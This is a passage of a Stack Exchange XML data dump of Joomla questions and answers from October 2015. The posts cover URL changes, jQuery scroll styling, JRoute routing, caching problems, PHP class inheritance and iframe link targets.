  <row Id="13907" PostTypeId="1" CreationDate="2015-10-12T08:21:22.930" Score="0" ViewCount="371" Body="&lt;p&gt;I'm pretty new to Joomla! although I have coded in PHP. After installation (Bitnami), my default url is &quot;&lt;a href=&quot;https://localhost/joomla/&quot; rel=&quot;nofollow&quot;&gt;https://localhost/joomla/&lt;/a&gt;&quot; which is not cool. I want a new URL such as &quot;&lt;a href=&quot;https://localhost/chagbert/&quot; rel=&quot;nofollow&quot;&gt;https://localhost/chagbert/&lt;/a&gt;&quot;. How can I change this url?&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2015-10-13T06:35:54.163" Title="Change default url" Tags="|url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13908" PostTypeId="2" ParentId="13907" CreationDate="2015-10-12T10:22:06.980" Score="0" Body="&lt;p&gt;Goto htdocs -&gt; Here, you can change your default folder name joomla to chagbert.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-10-12T10:22:06.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13909" PostTypeId="1" CreationDate="2015-10-12T16:09:54.400" Score="1" ViewCount="83" Body="&lt;p&gt;I'm trying to change the color of an element depending on where you are on the site. I have liked it to one anchor point and it is working. But i want it to change color more than one time. Every time it reaches the anchor point #intro i want it to be white and when it reaches the anchor point #portfolio i want it to go black again. How can i make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function scroll_style() {&#xA;   var window_top = $(window).scrollTop();&#xA;   var div_top = $('#portfolio').offset().top;&#xA;&#xA;   if (window_top &amp;gt; div_top){&#xA;      $('#nav-icon4 span').css({&quot;background&quot;:&quot;#000&quot;});&#xA;&#xA;   }&#xA;}&#xA;$(function() {&#xA;    $(window).scroll(scroll_style);&#xA;    scroll_style();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7086" LastEditorUserId="168" LastEditDate="2015-10-12T16:26:43.670" LastActivityDate="2015-12-04T05:23:43.773" Title="Change color on element more than one time" Tags="|jquery|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13910" PostTypeId="2" ParentId="13703" CreationDate="2015-10-12T20:29:13.163" Score="1" Body="&lt;p&gt;I see two ways to do that, but you need access to server in ssh to perform (linux):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/var/log/apache2/error.log is a good start to know more about this error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;usually i use and a command line tool like &lt;a href=&quot;http://xmlsoft.org/xmllint.html&quot; rel=&quot;nofollow&quot;&gt;http://xmlsoft.org/xmllint.html&lt;/a&gt;&#xA;that allows you to check for mal-formed xml files in whole file structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably not the direct clue to your question, but maybe this can help. But this is how to solve (my way) a file / structure problem (upload, file missing, partials... etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR, maybe simplier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as always in Joomla, you probablu use a third-party component, like someting connected to Google Map or other external webapp / api, and they changed their format and you are not aware of this... causing this sort of problem... so deactivate one by one and test... if you plan to do so I advice you to begin to deal with the plugin...&lt;/p&gt;&#xA;" OwnerUserId="4063" LastActivityDate="2015-10-12T20:29:13.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13911" PostTypeId="2" ParentId="13907" CreationDate="2015-10-13T06:35:54.163" Score="1" Body="&lt;p&gt;Ok, Thank you all for the input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered that the BITNAMI Xampp installation installs the Joomla! files in &quot;C:\xampp\apps\joomla\&quot; which i think is hard-coded in this particular Bitnami installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I opted for a stand-alone stable installation of Joomla! And this was simply a copy and paste operation into a folder whose name would be my site name under the htdocs folder i.e. &quot;c&quot;\xampp\htdocs\chagbert\&quot; where &quot;chagbert&quot; would be my site name. Thereafter, on the browser I simply had to call this address:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://localhost/chagbertos/&quot; rel=&quot;nofollow&quot;&gt;https://localhost/chagbertos/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the configuration process started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2015-10-13T06:35:54.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13912" PostTypeId="5" CreationDate="2015-10-13T06:48:38.103" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-10-13T06:48:38.103" LastActivityDate="2015-10-13T06:48:38.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13913" PostTypeId="4" CreationDate="2015-10-13T06:48:38.103" Score="0" Body="Provides a modal with rows of form fields that is specified in form XML." OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-10-13T09:38:08.400" LastActivityDate="2015-10-13T09:38:08.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13914" PostTypeId="5" CreationDate="2015-10-13T06:50:02.070" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-10-13T06:50:02.070" LastActivityDate="2015-10-13T06:50:02.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13915" PostTypeId="4" CreationDate="2015-10-13T06:50:02.070" Score="0" Body="Helper class, extended from PHP's DateTime class, which allows to handle date formatting more efficiently." OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-10-13T09:33:06.957" LastActivityDate="2015-10-13T09:33:06.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13916" PostTypeId="5" CreationDate="2015-10-13T06:53:10.400" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-10-13T06:53:10.400" LastActivityDate="2015-10-13T06:53:10.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13917" PostTypeId="4" CreationDate="2015-10-13T06:53:10.400" Score="0" Body="Joomla! 3+ template framework." OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-10-13T09:33:14.520" LastActivityDate="2015-10-13T09:33:14.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13918" PostTypeId="2" ParentId="13909" CreationDate="2015-10-13T09:52:58.500" Score="2" Body="&lt;p&gt;I'm not understanding the last anchor part, but to get it back to white after scrolling to next point, you have to compare against element bottom position too. And if not &lt;code&gt;true&lt;/code&gt;, revert to white.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function scroll_style() {&#xA;   var window_top = $(window).scrollTop();&#xA;   var $element = $('#portfolio');&#xA;   var div_top = $element.offset().top;&#xA;   var div_bottom = div_top + $element.outerHeight();&#xA;   var $icon = $('#nav-icon4 span');&#xA;&#xA;   if (window_top &amp;gt; div_top &amp;amp;&amp;amp; window_top &amp;lt; div_bottom){&#xA;      $icon.css({&quot;background&quot;:&quot;#000&quot;});&#xA;   }&#xA;   else{&#xA;      $icon.css({&quot;background&quot;:&quot;#FFF&quot;});&#xA;   }&#xA;}&#xA;$(function() {&#xA;    $(window).scroll(scroll_style);&#xA;    scroll_style();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-10-13T09:52:58.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13919" PostTypeId="1" CreationDate="2015-10-13T10:51:05.067" Score="0" ViewCount="875" Body="&lt;p&gt;I'm making a custom component in Joomla! 3. Let's call it TestCom (com_testcom).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to add to items view a simple searching and filtering engines. For this I've created additional, raw view which is responsible for grabbing data from database. Default, html view is sending ajax call to this page during url &lt;code&gt;index.php?option=com_testcom&amp;amp;view=items&amp;amp;format=raw&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raw view is grabbing the data and sending back to HTML view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost everything is ok, besides one thing. Problem is the url to see details of the item. Normally I'm using &#xA;&lt;code&gt;JRoute::_('index.php?option=com_testcom&amp;amp;view=item&amp;amp;id='.$item-&amp;gt;id, false, 2)&lt;/code&gt;&#xA;which will display &lt;code&gt;http://localhost/mypage/test/item/test-item.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In raw view it works, but in html view, when ajax is displaying data it looks like this: &lt;code&gt;http://localhost/mypage/componen/testcom/item/test-item.html&lt;/code&gt;&#xA;which is not working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did is changed a little bit pure url to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get menu item&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;&#xA;//get component's name&#xA;$comName = JRequest::getVar('option');&#xA;//get actual view's name&#xA;$viewName = $this-&amp;gt;_name;&#xA;//get menu's item id for our compoent&#xA;$menuItem = $menu-&amp;gt;getItems( 'link', 'index.php?option='.$comName .'&amp;amp;view='.$viewName, true );&#xA;&#xA;echo JRoute::_('index.php?Itemid='.$menuItem-&amp;gt;id.'&amp;amp;view=item&amp;amp;id=1',true,2); ?&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this will display in both option (raw and html) the same link:&#xA;    &lt;code&gt;http://localhost/mypage/test/test-item.html&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7088" LastEditorUserId="1629" LastEditDate="2015-10-13T13:58:44.320" LastActivityDate="2016-01-23T19:18:47.160" Title="Problem with JRoute::_ and ajax data" Tags="|joomla-3.x|ajax|jroute|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13920" PostTypeId="2" ParentId="13899" CreationDate="2015-10-13T11:19:55.590" Score="2" Body="&lt;p&gt;Thought I'd expand on my comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're firstly going to need to add an &lt;em&gt;install-uninstall-update&lt;/em&gt; script file to your component. Have a read of the &lt;a href=&quot;https://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;Joomla Documentation&lt;/a&gt; on how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have implemented this, you're going to want to use the &lt;code&gt;update&lt;/code&gt; function which will only execute this code when the user is updating the component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside this function, you'll need to get the contents of the CSS file that already exists. If it contains content, you don't need to override it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when you ship out your first release of the extension, be sure that the CSS file has &lt;strong&gt;no&lt;/strong&gt; content in it, not even any comments. In the update zip (e.g v1.0.1), you need to move the CSS file from the CSS directory to somewhere else (perhaps a new directory called &lt;strong&gt;update_css&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The finally, the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update($parent) &#xA;{&#xA;    // Import dependencies&#xA;    JLoader::register('JFile', JPATH_LIBRARIES . '/joomla/filesystem/file.php');&#xA;&#xA;    // Define the old CSS file path&#xA;    $old_css = JPATH_ROOT . '/components/com_mycomponent/css/custom.css';&#xA;&#xA;    // Check if the file exists&#xA;    if (JFile::exists($old_css))&#xA;    {&#xA;        // Get the contents of the file&#xA;        if (file_get_contents($old_css) != '')&#xA;        {&#xA;            // Define the new CSS file path&#xA;            $new_css = JPATH_ROOT . '/components/com_mycomponent/update_css/custom.css';&#xA;&#xA;            // Check if the file exists&#xA;            if (JFile::exists($new_css))&#xA;            {&#xA;                // Move the file&#xA;                JFile::move($new_css, $old_css);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added a few checks in here, however you'll need to make some changes to cater for yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-13T11:19:55.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13921" PostTypeId="1" AcceptedAnswerId="14325" CreationDate="2015-10-13T12:34:22.100" Score="0" ViewCount="176" Body="&lt;p&gt;I am developing a custom payment plugin for the PayPlan component. Below is the structure which I made after referring to the URL: &lt;a href=&quot;https://github.com/readybytes/PayplansCustomApp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/readybytes/PayplansCustomApp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;firstdata(Folder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--firstdata.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--firsdata.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--firstdata(folder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---app&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------firstdata.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-------firstdata.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I install it via the Joomla Extension Manager, it installs successfully, but when I open my plugin, it does not shows any fields, as it is possibly taking the firstdata which is in the root folder not the &lt;em&gt;firstdata.xml&lt;/em&gt; which resides inside the app folder that contains fields defined in the XML file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm not able to understand is, do I have to make that kind of structure in order to install the plugin or there is any other way around to make a plugin(app)?&lt;/p&gt;&#xA;" OwnerUserId="7089" LastEditorUserId="126" LastEditDate="2015-10-13T20:43:16.330" LastActivityDate="2015-11-16T05:00:22.687" Title="Make a payplan app in joomla" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13922" PostTypeId="1" CreationDate="2015-10-13T15:35:15.857" Score="2" ViewCount="121" Body="&lt;p&gt;I develop a component that has a list view: &lt;code&gt;index.php?option=com_mycomponent&amp;amp;view=listview&amp;amp;catid=1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have published several menu elements of this component pointing to different categories;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cat1 &lt;/li&gt;&#xA;&lt;li&gt;cat2&lt;/li&gt;&#xA;&lt;li&gt;cat3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As they are menú items, the SEF URL are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/cat1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/cat2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/cat3&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far so good, normal behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I got a cookie with a location text. &#xA;My customer want the URL to be diferent according to the value of the cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the cookie value is &quot;madrid&quot; the urls should be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/madrid/cat1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/madrid/cat2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/madrid/cat3&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the cookie value is &quot;barcelona&quot; then, they should be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/barcelona/cat1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/barcelona/cat2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;www.myweb.com/barcelona/cat3&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beside that, there is nothing, the lists are exactly the same in every case is just a mather of changing the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can achieve this?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="1629" LastEditDate="2015-10-14T04:38:24.523" LastActivityDate="2015-10-14T08:20:41.640" Title="How to modify a SEF URL including an arbitrary text" Tags="|component|development|sef|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13923" PostTypeId="1" AcceptedAnswerId="13973" CreationDate="2015-10-13T15:44:46.393" Score="0" ViewCount="73" Body="&lt;p&gt;I don't know why. Different browsers, computers and internet providers - some show current version of text on my page and some show old content. Site is &lt;a href=&quot;http://dreamvisa.by/&quot; rel=&quot;nofollow&quot;&gt;dreamvisa.by&lt;/a&gt;. Version of Joomla is &lt;code&gt;2.5.27&lt;/code&gt;. We found this problem when moved this site to the new hosting (aws, Ubuntu), but at this server we have few sites on Joomla and this problem only with this site. I tried to clear cache at Joomla admin panel - nothing.&lt;/p&gt;&#xA;" OwnerUserId="7091" LastEditorUserId="7091" LastEditDate="2015-10-13T15:53:04.767" LastActivityDate="2015-10-19T07:02:21.967" Title="After updating content some computers see new version but some old at the same time" Tags="|cache|bugs|server|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13924" PostTypeId="2" ParentId="13923" CreationDate="2015-10-13T15:52:29.457" Score="0" Body="&lt;p&gt;Some hosting providers such as Siteground offer their own caching system which can be extremely aggressive. I tried it once and had the same issue as you, so firstly, ensure that you are not using the cache provided by your hosting provider, or at least &lt;strong&gt;flush&lt;/strong&gt; it after making any changes to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, go to your Joomla Global Configuration in the backend and make sure you have disabled:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gzip Page Compression&lt;/li&gt;&#xA;&lt;li&gt;Cache&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once done, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla backend&lt;/strong&gt; &gt;&gt; &lt;strong&gt;System&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Clear Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you're using any 3rd party extensions for caching, such as JCH Optimize, try disabling it to see if you still have issues with the content&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-13T15:52:29.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13925" PostTypeId="1" CreationDate="2015-10-13T16:03:57.530" Score="3" ViewCount="112" Body="&lt;p&gt;I am not unfamiliar with &lt;code&gt;this&lt;/code&gt; parameter in JavaScript. But in Joomla's PHP files, I often come across &lt;code&gt;$this&lt;/code&gt; that seems coming from nowhere(Not in an object). To clarify some basic notions, here are some questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In JavaScript, generally, if &lt;code&gt;this&lt;/code&gt; is not inside an object, then it is referring to the global object, which in a browser environment is &lt;code&gt;window&lt;/code&gt;. I understand that in PHP there is no such thing, but when it comes to what &lt;code&gt;$this&lt;/code&gt; is referring to, is there any similar thing?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I think in most cases, for those &lt;code&gt;$this&lt;/code&gt; not in an object, they actually reside in an object that is defined in another file, which 'require's current file, am I right? If yes, how can I find out where that file is, or what object &lt;code&gt;$this&lt;/code&gt; resides in? Using the extension &quot;J!dump&quot; I can actually see what &lt;code&gt;$this&lt;/code&gt; is, but I still want to know how to find out the parent object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="9471" LastEditDate="2018-05-16T09:33:25.790" LastActivityDate="2018-05-16T09:33:25.790" Title="How to find out what $this is?" Tags="|php|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13926" PostTypeId="2" ParentId="13922" CreationDate="2015-10-13T16:08:33.800" Score="2" Body="&lt;p&gt;Check Language Filter system plugin, you'll see how they manipulate the url to add language prefix to links. You could use the same method to add location prefix based on cookie value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I did, but bear in mind that I had a tricky request, I had to make it work together with language filter plugin AND make the country appear before the language code. Different countries can show the same item and languages are shared accros countries. It works in pair with a custom country extra field plugin for K2, but it's irrelevant for this. What I did is possible only from Joomla 3.4 and higher&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;class PlgSystemCountryFilter extends JPlugin&#xA;{&#xA;   protected $app;&#xA;&#xA;   public $countries = array('austria', 'belgium', 'czech-republic', 'poland', 'slovakia', 'ukraine');&#xA;   public $country;&#xA;&#xA;   public function __construct(&amp;amp;$subject, $config)&#xA;   {&#xA;      parent::__construct($subject, $config);&#xA;      $this-&amp;gt;app = JFactory::getApplication();&#xA;   }&#xA;&#xA;   public function onAfterInitialise()&#xA;   {&#xA;      if ($this-&amp;gt;app-&amp;gt;isSite())&#xA;      {&#xA;         // country/fr/menus&#xA;         $path = str_replace(JUri::root(), '', JUri::current());&#xA;&#xA;         $parts = explode('/', $path);&#xA;         if(!empty($parts[0]) &amp;amp;&amp;amp; in_array($parts[0], $this-&amp;gt;countries)) {&#xA;            $this-&amp;gt;country = $parts[0];&#xA;            $router = $this-&amp;gt;app-&amp;gt;getRouter();&#xA;&#xA;            $router-&amp;gt;attachBuildRule(array($this, 'buildRule'), JRouter::PROCESS_BEFORE);&#xA;            $router-&amp;gt;attachBuildRule(array($this, 'postprocessSEFBuildRule'), JRouter::PROCESS_AFTER);&#xA;            $router-&amp;gt;attachParseRule(array($this, 'parseRule'), JRouter::PROCESS_BEFORE);&#xA;         }&#xA;      }&#xA;   }&#xA;&#xA;   public function buildRule(&amp;amp;$router, &amp;amp;$uri)&#xA;   {&#xA;      if(!empty($this-&amp;gt;country)) {&#xA;         $parts = explode('/', $uri-&amp;gt;getPath());&#xA;         $lang = array_shift($parts);&#xA;         $uri-&amp;gt;setPath(implode('/', $parts) . '/' . $this-&amp;gt;country . '/' . $lang . '/');&#xA;      }&#xA;   }&#xA;&#xA;   public function postprocessSEFBuildRule(&amp;amp;$router, &amp;amp;$uri)&#xA;   {    &#xA;      $uri-&amp;gt;delVar('sitecountry');&#xA;   }&#xA;&#xA;   public function parseRule(&amp;amp;$router, &amp;amp;$uri)&#xA;   {&#xA;      $path = $uri-&amp;gt;getPath();&#xA;      $parts = explode('/', $path);&#xA;      if(!empty($parts[0]) &amp;amp;&amp;amp; in_array($parts[0], $this-&amp;gt;countries)) {&#xA;         $country = $parts[0];&#xA;      }&#xA;&#xA;      $array = array();&#xA;      if(!empty($country)) {&#xA;         array_shift($parts);&#xA;         // if we are supposed to be on the root page /fr, then make it be like /fr/country so that per country homepage can be displayed&#xA;         // for this to work hidden menu with aliases /country must be created&#xA;         if(count($parts) == 1) {&#xA;            $parts[] = $country;&#xA;         }&#xA;         $uri-&amp;gt;setPath(implode('/', $parts));&#xA;&#xA;         $this-&amp;gt;app-&amp;gt;input-&amp;gt;set('sitecountry', $country);&#xA;         $array = array('sitecountry' =&amp;gt; $country);&#xA;      }&#xA;      return $array;&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastEditorUserId="50" LastEditDate="2015-10-14T08:20:41.640" LastActivityDate="2015-10-14T08:20:41.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13927" PostTypeId="2" ParentId="13925" CreationDate="2015-10-13T19:58:51.000" Score="6" Body="&lt;p&gt;To answer 1, no there is no global PHP $this variable that correlates with JavaScripts this varaible. This can be easily tested with a simple PHP file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;echo $this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which will give you an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer 2, $this is always inside a class. What I think you are trying to understand is class inheritance. So say you are looking at the file cat.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Cat extends Animal {&#xA;&#xA;   protected $meow = 'meeoooowww';&#xA;&#xA;   public function Meow() {&#xA;     echo $this-&amp;gt;meow . ' I am ' . $this-&amp;gt;age . ' years old';&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and somewhere else you have a file animal.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Animal {&#xA;&#xA;   protected $age = '10';&#xA;&#xA;   public function run() {&#xA;     echo &quot;I'm running&quot;;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally you create a new cat in some other file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tinkles = new Cat();&#xA;$tinkles-&amp;gt;run();&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;$tinkles-&amp;gt;meow();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are going to see this outputted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I'm running&#xA;meeoooowww I am 10 years old&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note how the cat has inherited the function (run) and propertie (age) from Animal by using &quot;extends Animal&quot; as part of the class declaration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP then has several methods for understanding what the class is, In the next snippet we will add an introspect() function, using those methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Cat extends Animal {&#xA;&#xA;   protected $meow = 'meeoooowww';&#xA;&#xA;   public function Meow() {&#xA;     echo $this-&amp;gt;meow;&#xA;   }&#xA;&#xA;   public function introspect() {&#xA;     echo &quot;My class is &quot;. get_class($this) . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;     echo &quot;My ancestor class is &quot; . get_parent_class($this);&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tinkles = new Cat();&#xA;$tinkles-&amp;gt;introspect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will produce:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My class is Cat&#xA;My ancestor class is Animal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finding out where those files resides can require some detective skills if you are not familiar with the framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would benefit from setting up xdebug for example to be able to step through what happens when your code is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also a good IDE such as PHPStorm will allow you to click on the class name, for example &quot;Animal&quot; in &quot;class Cat extends Animal&quot; to open up that file directly.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-10-13T19:58:51.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13928" PostTypeId="1" CreationDate="2015-10-14T03:31:41.397" Score="1" ViewCount="2653" Body="&lt;p&gt;I'm using iframe wrapper menu to add my own custom code.&#xA;Inside the custom code, there is this button when click will generate a link to open another page.&#xA;I'd rather have it as clicking the button and immediately go to that another page. I did so but that another page will show inside the iframe wrapper content instead of opening new window.&#xA;Any idea how to redirect that another page to a new window after click button in iframe wrapper page?&lt;/p&gt;&#xA;" OwnerUserId="5613" LastActivityDate="2015-11-13T04:31:50.337" Title="Redirect to another page outside iframe wrapper" Tags="|joomla-2.5|menu|redirect|wrapper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13929" PostTypeId="2" ParentId="13928" CreationDate="2015-10-14T04:29:50.007" Score="1" Body="&lt;p&gt;As long as you can edit the contents of the iframe wrapper, you can use the &lt;code&gt;target&lt;/code&gt; attribute. There are several options depending on what you want to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;a target=&quot;_parent&quot; href=&quot;yourlink.html&quot;&amp;gt;Text&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;Will open the link in the parent frame&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;a target=&quot;_blank&quot; href=&quot;yourlink.html&quot;&amp;gt;Text&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;This will open the link in a new browser window&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;a target=&quot;_full&quot; href=&quot;yourlink.html&quot;&amp;gt;Text&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;This will open the link in the full browser 